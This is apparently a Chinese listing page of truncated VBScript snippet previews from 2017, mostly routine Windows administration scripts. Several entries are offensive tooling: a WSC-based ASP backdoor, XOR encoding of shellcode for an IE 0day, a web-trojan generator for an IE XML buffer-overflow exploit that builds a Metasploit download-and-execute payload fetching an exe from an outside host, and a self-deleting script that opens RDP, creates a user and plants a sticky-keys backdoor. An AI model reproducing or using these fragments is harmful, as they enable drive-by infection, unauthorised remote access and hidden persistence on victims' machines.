Dynamic Activity Window动态活动窗口vbs

2017年02月06日 165 阅读

复制代码 代码如下:Option Explicit Dim oBar Set oBar = New ProgressBar oBar.StartBar "This is a test." WScript.Sleep （3000） oBar.SetLine "So is this." WScript.Sleep （3000） oBar.CloseBar Class ProgressBar Dim oBarCat, sProgressBarHTAFile, s...

可以查询系统用户名sid的vbs

2017年02月06日 149 阅读

复制代码 代码如下:set path=wscript.createobject（"wscript.shell"） usera=path.ExpandEnvironmentStrings（"%username%"） name=inputbox（"请输入你要查询的用户名","sid查询--by不追不悔",usera） strComputer = "." Set wbemServices = Getobject（"winmgmts:\" & strCompute...

VBScript使用ADSI为IIS批量添加屏蔽或允许访问的IP

2017年02月06日 151 阅读

复制代码 代码如下:"/*========================================================================= " * Intro VBScript使用ADSI为IIS批量添加屏蔽或允许访问的IP " * FileName VBScript-ADSI-IIS-Add-Deny-Grant-IP-Change-MetaBase.xml.vbs " *========================...

WMI IE代理 切换或改变（Use WMI Change IE Proxy）

2017年02月06日 176 阅读

将下面的代码，保存为 vbs即可复制代码 代码如下:If WScript.Arguments.Count = 0 Then GetI = -1 Else GetI = CInt（WScript.Arguments（0）） End If Call YourCode（） "把你弄到的代理都写在一个文本文件里（IP.txt），格式是一行一个： ip:端口 IPS = CreateObject（"Scripting.FileSystemObject"）.OpenT...

SendKeys clip.exe 发送中文的代码

2017年02月06日 193 阅读

复制代码 代码如下:Set WshShell=CreateObject（"WScript.Shell"） code="让SendKeys可以发送中文" WshShell.Run "cmd.exe /c echo " & code & "| clip.exe", vbHide app=WshShell.Run （"notepad"） WScript.Sleep 1000 WshShell.AppActivate app WshShell.SendKeys "...

利用计划任务和VBS脚本实现自动WEB共享文件夹里的文件

2017年02月06日 153 阅读

复制代码 代码如下:Option Explicit On Error Resume Next "生成列表的文件类型 Const sListFileType = "wmv,rm,wma" "文件所在的相对路径 Const sShowPath="." "排序类型的常量定义 Const iOrderFieldFileName = 0 Const iOrderFieldFileExt = 1 Const iOrderFieldFileSize = 2 Const ...

XorEncode的vbs实现代码

2017年02月06日 146 阅读

复制代码 代码如下:If Not WScript.Arguments.Count=1 Then WScript.Echo "请将要转换的vbs文件托拽到我身上！":WScript.Quit Set fso=CreateObject（"Scripting.FileSystemObject"） Set self=fso.OpenTextFile（WScript.ScriptFullName） Set vbs=fso.CreateTextFile（Left（WS...

利用wsc制作的一个asp后门

2017年02月06日 161 阅读

<？xml version="1.0" encoding="gb2312" standalone="yes"？> <？component error="true" debug="true"？> <package> <component id="haiyangtop"> <public> <method name="lcx"><parameter name="b"/><...

ie7 0day当中的shellcode的escape+xor21加密

2017年02月06日 148 阅读

<SCRIPT LANGUAGE="VBSCRIPT"> Function Encode（s,n） Dim b b=UCase（s） For i=1 To Len（b） Encode=Encode&Chrw（（Asc（Mid（b,i,1）） Xor n）） Next End Function </script> <script language="javascript"> myrand=window.prompt（"ur...

VBScript 作用 简单说明

2017年02月06日 191 阅读

有事没事用VBS采集别人网站上的部分或全部数据进行分析，然后写入数据库或存到文本文件里，有时还会用VBScript做一些移动光标及输入的操作，比如批量添加远程桌面，有时还会用VBScript还管理Windows服务器，如设置IIS，还有做一些定时提醒工具，多久执行一次，然后用声音控件提醒，很好用。。。。 1. 计算 2. 处理文件和文件夹 3. 管理Windows 4. 处理Word, Excel, PowerPoint等Office文档 5. 嵌入网页，...

IE浏览器增加“复制图像地址”的右键菜单的vbs代码

2017年02月06日 171 阅读

但IE以及与IE共用右键菜单的MyIE、Sogou等浏览器均没有复制图像链接地址的快捷菜单，通常只有选择图片的属性再在属性对话框中复制图片地址，很麻烦！下面我们给IE添加一个“复制图像地址”的右键菜单，步骤如下： VB新建一个ActiveX Dll工程，工程名：NetCopyURL，将默认生成的类名改为clsCopyURL 在clsCopyURL.cls中添加如下代码： Public Sub CopyImageURL（URL As String） Clip...

vbscript LoadPicture函数使用方法与漏洞利用

2017年02月06日 179 阅读

复制代码 代码如下: <title>LoadPicture函数</title> <form name="frm"> 选择图片<input type="file" name="pic" onChange="GetPicInfor（）" > </form> <script language="vbscript"> Sub GetPicInfor（） dim objpic,iWidth,iH...

网马生成器 MS Internet Explorer XML Parsing Buffer Overflow Exploit （vista） 0day

2017年02月06日 195 阅读

"code by lcx On Error Resume Next Exeurl = InputBox（ "请输入exe的地址：", "输入", "http://www.haiyangtop.net/333.exe" ） url="http://www.metasploit.com:55555/PAYLOADS？parent=GLOB%280x25bfa38%29&MODULE=win32_downloadexec&MODE=GENERATE&OPT_UR...

可自删除 开启3389创建用户粘滞键后门的vbs

2017年02月06日 154 阅读

on error resume next const HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set StdOut = WScript.StdOut Set oReg=GetObject（"winmgmts:{impersonationLevel=impersonate}！\" &_ strComputer & " ootdefault:StdRegProv"） strKeyPath = "SYS...

CMD和vbs修改 IP地址及DNS的实现代码

2017年02月06日 220 阅读

修改ＩＰ cmd /c netsh interface ip set address name=" 本地连接" source=static addr=211.82.56.253 mask=255.255.255.0 gateway=211.82.56.1 gwmetric=1 修改DNS cmd /c netsh interface ip set dns name="本地连接" source=static addr=202.99.192.66 配置或更新I...

vbScript on error resume next容错使用心得

2017年02月06日 200 阅读

vbscript中，错误处理使用on error resume next来完成，如果在你的代码里加入这一句，在这句之后的其他代码如果出现错误，系统将忽略这些错误继续运行后面的代码，同时，我们可以使用下面的代码来捕获错误复制代码 代码如下:If err.number<>0 then errNum = Err.Number errDesc = Err.Description Call G00B02logOut（"Error.002"， errNum...

vbscript include的办法实现代码第1/2页

2017年02月06日 163 阅读

任何真正实用的工程开发都必然是多文件的。但是VBScript创建多文件工程要麻烦一点，它对多文件工程，代码复用的支持并不是太好。在C/C++工程里，我们已经习惯了通过一个include语句，并且声明一个函数原形的方式来使用其它模块中的函数，这样一个复杂的工程可以比较容易地分解成一些小的模块，以更容易理解和掌握。VBScript中情况有些不同。这与它的设计目标有关。最初VBScript是用在客户端脚本，以支持与客户端作简单的交互，如简单的输入检查等等。在浏览...

vbscript 读取xml格式的配置文件

2017年02月06日 146 阅读

复制代码 代码如下:Class clsGetProfile " ルートドキュメント Private rootDoc " xmlファイル名とセクション名をセットする " 引数： 「1」ファイル名 NOT NULL " 戻り値：なし Public Sub setProfile（strFileName） Set data_xml = CreateObject（"Microsoft.XMLDOM"） data_xml.async = False data_xml....

vbScript中WScript.Shell对象的run和exec使用心得分享

2017年02月06日 218 阅读

Set exeRs = objws.Exec（"pscp -r -scp -pw " & password & " " & loginid & "@" & host & ":" & data_path & fileName & " " & windows_path）但在测试的时候，当拷贝的文件比较大，拷贝时间较长的时候就出现cmd窗口死在那里不动了的情况，直接在cmd窗口中运行pscp拷贝相同的文件就可以正常 结束。也找不到是什么原因，于是改成run方法试...

VBS 路由重启脚本

2017年02月06日 150 阅读

复制代码 代码如下:Set sh=WScript.CreateObject（"WScript.Shell"） sh.Run "telnet 192.168.1.1" WScript.Sleep 1000 sh.SendKeys "admin{ENTER}" WScript.Sleep 1000 sh.SendKeys "admin{ENTER}" WScript.Sleep 1000 sh.SendKeys "reboot{ENTER}" WScript....